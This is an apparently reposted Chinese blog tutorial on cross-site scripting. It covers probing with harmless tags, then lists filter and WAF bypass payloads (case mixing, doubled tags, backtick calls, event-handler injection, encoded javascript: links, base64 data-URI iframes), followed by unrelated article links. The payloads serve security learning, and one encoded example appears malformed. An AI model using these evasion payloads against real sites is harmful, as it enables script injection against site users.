当前位置: 首页 > news >正文

XSS的应用

免责声明,本博客只是用来自身学习记录,不要运用里面的代码去进行违法犯罪行为。

XSS

首先需要知道的是xss误区,就是在不确定是否有XSS的情况下,不应该是直接上攻击payload,例如<script>alert(123)</script>,而是应该去进行一个XSS探测先确认有无XSS。
以下三种情况就是可能你直接一个payload过去毫无反应,但是你根本确定不了是否存在XSS

1.waf直接给你拦截了,你payload根本打不进去。
2.对方后端就过滤死了不让你使用</script>这种明显的标签。
3.对方压根就不允许弹框。

引用借鉴up主的关键句:XSS本质

XSS的本质原理就是解析了用户插入的标签,那么既然是解析标签,就可以插入没有攻击危害的标签进行先探测XSS。
如果解析标签成功,确认存在XSS,你再一步一步绕过那“三个大麻烦’,去搞攻击型payload看看是否存在XSS漏洞

下面都是无危害探测标签,基本不会触发任何WAF

<s>123
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#//--+
*"></tExtArEa><s>123#//--+

学习网站 XSS学习靶场

上面讲述了XSS的本质,就是看是否有网站解析,那网站解析结果就可以弹出来是否存在XSS,这个具体要看响应包,附以下截图
在这里插入图片描述
通过上面操作可以跳过waf,接下来说XSS的绕过手段

XSS绕过

一、XSS基础绕过

  • 大小写绕过
<Script>alert(1)</Script>
  • 双写绕过
<script<script>>alert(1)</sc</script>ript>
  • 禁用alert绕过
<img src="1" onerror="confirm('xss')"> (双引号可加可不加)
<script>confirm(1)</script>
<script>prompt(1)</script>
  • 禁用单引号
数字可以不加单引号
<script>confirm(`xss`)</script>
<script>confirm(/xss/)</script>
  • 过滤括号()
    可以使用反单引号代替 `
<script>alert`1`</script>
  • 禁用尖括号<>,只考虑在value属性里面
    也就是闭合value属性,加入触发事件
payload-hello' onmouseover='javascript:alert(1)'
  • 空格的代替
    空格的url编码为:%20
可替换成如下:
%09 %80a %8Ob %80c %Od %a0 /
  • 单引号的代替
    可以将单引号’换成飘号`

二、XSS混淆绕过

以下是比较好用的几个标签

</tExtArEa>'"<a/href="ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;
%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..(30)]()">click_me</a>#
<div class=\"media-wrap image-wrap\"><img
src=\"https://img.threatbook.cn/c375eed802260503b4cee1086ea6
5f0e172480015227cf81a82d77.png\"
onerror=\"alert`1`\"/></div>
<script%20type="text/javascript">%20var%20reg%20=%20/test/;%
20var%20str%20=%20%27testString%27;%20var%20result%20=%20reg
.exec(str);%20alert(result);%20</script>

三、XSS编码加密绕过

套一层Base64

<iframe
src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>

套两层Base64

<iframe
src="PG9iamVjdCBkYXRhPQ0KZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LCBQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>

相关文章:

  • 工厂模式:工厂方法模式 和 抽象工厂模式
  • 闲聊人工智能对媒体的影响
  • 20.4 显示数据库数据
  • rpm命令详解
  • 【通过Docker快速部署Tomcat9.0】
  • 考研单词笔记 2025.04.22
  • rgw的d3n功能配置
  • 使用Java对接StockTV全球金融数据API。马来西亚金融数据API
  • B + 树与 B 树的深度剖析
  • 【扫描件批量改名】批量识别扫描件PDF指定区域内容,用识别的内容修改PDF文件名,基于C++和腾讯OCR的实现方案,超详细
  • pdf多文件合并
  • IntelliJ IDEA 新版本中 Maven 子模块不显示的解决方案
  • 量子计算在密码学中的应用与挑战:重塑信息安全的未来
  • Eureka、LoadBalance和Nacos
  • 健身房管理系统(springboot+ssm+vue+mysql)含运行文档
  • Java 性能优化:如何在资源受限的环境下实现高效运行?
  • 盈达科技GEO解决方案:破解AI时代品牌增长困局
  • 全球化2.0 | 云轴科技ZStack亮相2025香港国际创科展
  • Linux:线程基础(虚拟地址,分页)
  • Prompt工程:大模型的「精准导航系统」
  • 神舟二十号主要目的发布,在空间站驻留约6个月
  • 对话地铁读书人|企业公关吴丑丑:阅读中相遇又重逢
  • 中国英国商会政府事务主席陶克瑞:重庆经济成就瞩目,中英合作机遇无限
  • 教育部增设29种本科新专业,首建战略急需专业超常设置机制
  • 上海市政府常务会议部署多措并举促进消费,提高居民收入,减轻家庭负担
  • 广东省东莞市委原书记、市人大常委会原主任徐建华被开除党籍